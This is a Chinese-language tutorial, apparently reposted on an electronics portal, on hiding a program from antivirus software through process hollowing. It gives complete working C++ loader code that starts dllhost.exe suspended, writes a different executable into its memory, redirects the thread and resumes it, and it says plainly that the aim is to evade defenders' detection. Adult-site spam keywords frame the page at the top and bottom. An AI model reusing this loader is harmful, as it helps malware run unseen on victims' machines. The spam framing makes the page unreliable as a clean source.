在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

免殺技術進程隱藏

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 作者:蛇矛實驗室 ? 2022-11-12 09:24 ? 次閱讀

1前言

目前的免殺技術,常規的進程執行很容易被受攻擊方發現,為了盡可能的隱藏自己,在不利用驅動或者漏洞的情況下我們有用到的技術很少,這次我們就來講一種可以在3環達到進程隱藏的方法,進程鏤空(傀儡進程)。

這種技術雖然很久之前就有了,但是和其他的免殺技術相結合會達到很不錯的效果。

這種技術的好處是可以將我們想執行的程序偽裝成系統進程或者有簽名無檢測的白名單進程,從而繞過殺軟的內存檢測。

2實現思路

如何去實現這個傀儡進程,我們就要知道進程創建后的步驟是在干什么,進程創建后會在內存空間進行拉伸PE,那么這一步就是我們達到偽裝的關鍵一步。如果我們將這一步拉伸的PE修改成我們自己的PE是不是拉伸的就是我們自己的程序,從而執行我們自己的程序。

3執行流程

創建一個掛起的進程

這里如果不是掛起狀態,程序就執行起來了,那么我們就沒有足夠的時間去替換他要執行的PE了。

獲取線程上下文

這里獲取上下文的主要目的是作用于修改寄存器,在我們后續的操作后要去修改。

替換PE信息

將我們上面的實現思路里最重要的一步在掛起進程后去執行,這樣進程還沒執行完成我們可以完成替換。

修改線程上下文

修改寄存器讓執行的內存發生改變,修改到我們替換的PE信息。讓程序自身的去解析我們替換的PE結構。

恢復線程

恢復線程,讓程序執行起來,完成我們的因此。

4實操順序

寫一個自己的程序 Demo.exe

#include

intmain(void)
{

MessageBoxA(nullptr, "我是一個demo程序", "信息:", MB_OK);

return0;
}

這就是一個很簡單的程序,我們來編譯執行一下。

2631566a-61bf-11ed-8abf-dac502259ad0.png

可以明顯的看到這里有我們執行的程序進程信息,這樣我們就很容易被發現。那么下面我就就要去看怎么去隱藏掉這個進程了。步驟會很多我會分步驟去寫,讓大家可以跟著步驟去完成這一效果。

加載器實現流程

創建進程

創建一個系統進程或者白名單進程再或者你想要讓你的進程偽裝的進程,這里我們以32位進程去演示,我們去C:WindowsSysWOW64這個目錄下隨便去找一個進程即可,這里我就選擇dllhost.exe

這里我們在創建個項目去寫另外的代碼,demo程序就不要去改動了。

2676f602-61bf-11ed-8abf-dac502259ad0.png

load 右鍵屬性 -> 配置屬性 -> 鏈接器 -> 系統 -> 子系統 改為窗口 不然后面會報0xC0000142錯誤 (這里可以寫完所有的代碼再去操作 窗口程序不利于我們去輸出信息)

#include
#include

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();
??
??// 結束進程(調試的時候方便一下 可以不寫)
??TerminateProcess(pi.hProcess, -1);
??std::cout?<< "process exit!!!!!!!"?<< std::endl;
??std::cin.get();
??return?0;
}

2691dbb6-61bf-11ed-8abf-dac502259ad0.png

這里我們就已經以掛起的方式去創建了一個進程,怎么樣去看我們的進程是否為掛起呢?我們任務管理器可以看到。

26ab8f34-61bf-11ed-8abf-dac502259ad0.png

讀取我們需要真正執行的exe

#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();

??// 打開文件
??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
??if?(hFile == INVALID_HANDLE_VALUE)
??{
????// 打開失敗結束之前的進程
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 獲取文件的大小
??DWORD nSizeOfFile = GetFileSize(hFile, NULL);
??std::cout?<< "file size:"?<< nSizeOfFile << std::endl;

??// 申請內存保存Exe字節碼
??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

??// 把文件讀取到我們申請的緩存區
??DWORD read;
??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
??{
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 關閉文件
??CloseHandle(hFile);


??
??// 結束進程(調試的時候方便一下 可以不寫)
??TerminateProcess(pi.hProcess, -1);
??std::cout?<< "process exit!!!!!!!"?<< std::endl;
??std::cin.get();
??return?0;
}

26f836d6-61bf-11ed-8abf-dac502259ad0.png

可以看出來我們需要執行的exe已經被我們加載到我們內存當中。

替換PE

#include
#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();

??// 打開文件
??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
??if?(hFile == INVALID_HANDLE_VALUE)
??{
????// 打開失敗結束之前的進程
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 獲取文件的大小
??DWORD nSizeOfFile = GetFileSize(hFile, NULL);
??std::cout?<< "file size:"?<< nSizeOfFile << std::endl;

??// 申請內存保存Exe字節碼
??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

??// 把文件讀取到我們申請的緩存區
??DWORD read;
??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
??{
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 關閉文件
??CloseHandle(hFile);

??// 解析PE
??// 獲取dos頭
??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 獲取nt頭
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);

// 獲取線程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// 獲取模塊基質
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);

// 在默認基質下申請內存并且 設置屬性為讀寫執行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(!mem)
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 替換PE頭
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);

for(inti = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 獲取節表 寫入節表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}

// 結束進程(調試的時候方便一下 可以不寫)
TerminateProcess(pi.hProcess, -1);
std::cout<< "process exit!!!!!!!"?<< std::endl;
??std::cin.get();
??return?0;
}

2721ebde-61bf-11ed-8abf-dac502259ad0.png

GetThreadContext是什么意思呢?獲取線程上下文,我們這時候用調試器附加一下dllhost看下我們獲取的是什么東西。主要獲取的就是目前的寄存器的值。后續我們需要讀寫這個值,從而達到執行我們自己的PE信息。

2756be7c-61bf-11ed-8abf-dac502259ad0.png

278b9b24-61bf-11ed-8abf-dac502259ad0.png

開始替換PE頭 我們可以注意一下寫入了什么。

27af76de-61bf-11ed-8abf-dac502259ad0.png

28026df8-61bf-11ed-8abf-dac502259ad0.png

這里是替換節區。

28263ee0-61bf-11ed-8abf-dac502259ad0.png

2840ac9e-61bf-11ed-8abf-dac502259ad0.png

走到這里就說明我們的PE已經被完全替換了,那么我們需要給他替換一下寄存器才能讓他執行起來。

設置線程上下文,恢復線程

2858eec6-61bf-11ed-8abf-dac502259ad0.png

ebx+8的位置本身存放的是原來默認的PE,我們這里給他替換成我們申請內存的PE,然后恢復線程基本就完成了我們的隱藏。

#include
#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 獲取 32位dllhost.exe路徑
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打開進程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創建
{
return-1;
}

std::cout<< "process pid:"?<< pi.dwProcessId << std::endl;
??std::cin.get();

??// 打開文件
??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
??if?(hFile == INVALID_HANDLE_VALUE)
??{
????// 打開失敗結束之前的進程
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 獲取文件的大小
??DWORD nSizeOfFile = GetFileSize(hFile, NULL);
??std::cout?<< "file size:"?<< nSizeOfFile << std::endl;

??// 申請內存保存Exe字節碼
??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

??// 把文件讀取到我們申請的緩存區
??DWORD read;
??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
??{
????TerminateProcess(pi.hProcess, 1);
????return?-1;
??}

??// 關閉文件
??CloseHandle(hFile);

??// 解析PE
??// 獲取dos頭
??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 獲取nt頭
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);

// 獲取線程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// 獲取模塊基質
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);

// 在默認基質下申請內存并且 設置屬性為讀寫執行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(!mem)
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 替換PE頭
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);

for(inti = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 獲取節表 寫入節表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}

// 修改寄存器
ctx.Eax = (SIZE_T)((LPBYTE)mem + nt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &nt->OptionalHeader.ImageBase, sizeof(PVOID), NULL);

SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, -1);

std::cout<< "進程隱藏執行完成"?<< std::endl;
??
??// 結束進程(調試的時候方便一下 可以不寫)
??// TerminateProcess(pi.hProcess, -1);
??// std::cout << "process exit!!!!!!!" << std::endl;
??// std::cin.get();
??return?0;
}

修復執行錯誤

2890fa46-61bf-11ed-8abf-dac502259ad0.png

這里我們可以看到提示了錯誤框,我們修改下子系統。

intCALLBACKWinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
intnCmdShow
)
子系統改為窗口后 main函數需要改成WinMain

28ae66bc-61bf-11ed-8abf-dac502259ad0.png

完畢

28ee8cba-61bf-11ed-8abf-dac502259ad0.png

可以看到我們進程運行起來了,那么我們看看這個進程是什么。

291063ee-61bf-11ed-8abf-dac502259ad0.png

從線程里面可以看出,我們是從這個dllhost里面去執行的我們的程序,那么我們看下是不是找不到我們原來的進程了。

29630266-61bf-11ed-8abf-dac502259ad0.png

可以看到這里已經確定沒有demo.exe,至此我們的隱藏進程實現完成。

5總結

隱藏的時候需要提前找到一個載體。

我們目前通過的是讀取文件獲取我們demo的exe,可以提前獲取好,放到我們的內存中,這樣更隱蔽。

需要注意main函數和winmain,main函數會報錯

審核編輯:湯梓紅
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 內存
    +關注

    關注

    8

    文章

    3111

    瀏覽量

    75030
  • 程序
    +關注

    關注

    117

    文章

    3824

    瀏覽量

    82504

原文標題:免殺技術進程隱藏

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦
    熱點推薦

    進程執法官

    ,包括系統核心進程、殺毒不需要進入安全模式。 2、可以查看普通進程(與任務管理器類似)、網絡進程(TCP-UDP端口關聯進程)、隱藏進程
    發表于 09-04 23:12

    ekrn.exe進程是什么意思,如何解決ekrn.exe進程占空間的問題

    %原因分析1、ekrn.exe占用cpu100%問題屬于該殺毒 軟件在查殺系統進程時的正?,F象,因為svchost.exe不斷重啟運行導致,這個是win系統bug,與軟件無關,所以不用更改軟任何設置
    發表于 12-22 16:42

    迅雷7.2.7.3496下載(迅雷7增強版VIP離線等待V2) v7.2.7.3496綠...

    會員補丁(可去廣告、隱藏右側欄、點亮VIP6、離線等待) │ ├—√迅雷離線下載組件(迅雷等級16級及其以上等級有1.5G離線空間) │ ├—除去主界面上的迅雷VIP按鈕 (主界面上紅色的迅雷VIP
    發表于 04-24 17:45

    小七論壇vip 2013源碼培訓課程

    小七論壇vip 2013源碼培訓課程目錄(今日key發布)小七
    發表于 10-05 17:35

    聯通流量軟件有哪些?聯通流量軟件?

    聯通手機流量上網軟件有哪些?聯通2G3G4G流量軟件加我***聯通最新流量上網軟件,支持全國地區使用,一年穩定技術開發并且經過測試,安裝后上網百分百
    發表于 07-22 08:37

    國際聯網展現黑科技-雷霆技術攜三技術參展

    ,由雷霆技術公司帶來的不用電池、無需聯網、無需鑰匙的智能鎖黑科技——三智能鎖方案。在本次展會中為數不多的,創新型技術中,三智能鎖技術吸引
    發表于 08-07 15:07

    特洛伊木馬隱藏技術研究

    首先介紹了傳統的木馬隱藏方法,由于傳統方法主要集中于本地進程隱藏,對木馬兩端之間通信隱藏涉及甚少,而本文所采用的基于ICMP的連接技術能夠
    發表于 06-15 08:33 ?11次下載

    木馬/后門程序在WINNT中進程隱藏和查找的方法

      在WIN9X中,只需要將進程注冊為系統服務就能夠從進程查看器中隱形,可是這一切在WINNT中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能欺騙WINN
    發表于 09-01 11:51 ?1285次閱讀

    基于硬件輔助虛擬化技術的交叉視圖進程檢測

    分析了進程隱藏技術和檢測技術,對Strider Ghost Buster所使用的交叉視圖進程檢測技術
    發表于 02-13 16:17 ?32次下載
    基于硬件輔助虛擬化<b class='flag-5'>技術</b>的交叉視圖<b class='flag-5'>進程</b>檢測

    軟WAF上傳繞過+wbehshell

    軟WAF上傳繞過+wbehshell
    發表于 09-07 10:35 ?4次下載
    軟WAF上傳繞過+wbehshell<b class='flag-5'>免</b><b class='flag-5'>殺</b>

    密文域可逆信息隱藏技術發展

    可逆信息隱藏是信息隱藏技術的新興研究方向,密文域可逆信息隱藏作為加密域信號處理技術與信息隱藏
    發表于 12-09 10:28 ?0次下載
    密文域可逆信息<b class='flag-5'>隱藏</b><b class='flag-5'>技術</b>發展

    如何安裝 unhide 并搜索隱藏進程和 TCP/UDP 端口

    unhide 是一個小巧的網絡取證工具,能夠發現那些借助 rootkit、LKM 及其它技術隱藏進程和 TCP/UDP 端口。這個工具在 Linux、UNIX 類、MS-Windows 等操作系統下都可以工作。
    的頭像 發表于 01-31 09:57 ?2.8w次閱讀

    一行代碼教你如何隱藏Linux進程

    總有朋友問隱藏Linux進程的方法,我說你想隱藏到什么程度,是大隱于內核,還是小隱于用戶。網上通篇論述的無外乎 hook 掉 procfs 或者類似的用戶態方案,也都難免長篇大論,我說,這些場面都太大了,太復雜了。對于希望馬上看
    的頭像 發表于 09-15 15:16 ?2319次閱讀
    一行代碼教你如何<b class='flag-5'>隱藏</b>Linux<b class='flag-5'>進程</b>

    技術技術的區別

    ,又叫殺毒技術,是反病毒,反間諜的對立面,是一種能使病毒或木馬免于被殺毒軟件查殺的軟件。
    的頭像 發表于 07-08 10:49 ?1999次閱讀

    什么是白加黑技術 技術之白加黑攻擊防御技術分析

    在很多的軟中會對白文件的操作進行放行,如果我們將黑程序和白程序在一個進程中是否就可以繞過一些軟的檢測。
    發表于 07-24 10:37 ?1835次閱讀
    什么是白加黑<b class='flag-5'>技術</b> <b class='flag-5'>免</b><b class='flag-5'>殺</b><b class='flag-5'>技術</b>之白加黑攻擊防御<b class='flag-5'>技術</b>分析
    主站蜘蛛池模板: 国产日本在线观看 | 黄网免费 | 东京毛片| 狠狠干狠狠鲁 | 口述他拿舌头进去我下面好爽 | 国产香蕉视频在线观看 | 最近最新视频中文字幕4 | www.av在线.com | 男女视频在线观看免费 | 一区二区三区精品视频 | 一级不卡毛片免费 | jlzzjlzzjlzz日本亚洲 | 亚洲伊人电影 | 香蕉久久久久久狠狠色 | 天天se天天cao综合网蜜芽 | 天天澡天天摸天天爽免费 | 天天插天天狠天天透 | 精品影视网站入口 | 中文字幕二区 | 一级毛片一级毛片一级毛片aa | 亚洲 美腿 欧美 偷拍 | 视频在线播放免费 | 亚洲婷婷在线视频 | 精品国产第一国产综合精品gif | 2018天堂视频免费观看 | 失禁h啪肉尿出来高h受 | 日本中文字幕在线播放 | 噜噜吧噜噜色 | 婷婷在线观看香蕉五月天 | 免费在线观看a视频 | 高清不卡毛片 | 在线干 | 亚洲福利秒拍一区二区 | 中文字幕欧美成人免费 | 高清视频黄色录像免费 | 日韩精品一卡二卡三卡四卡2021 | 18黄无遮挡免费视频 | 激情五月播播 | 手机成人在线视频 | 综合色视频| 不卡无毒免费毛片视频观看 |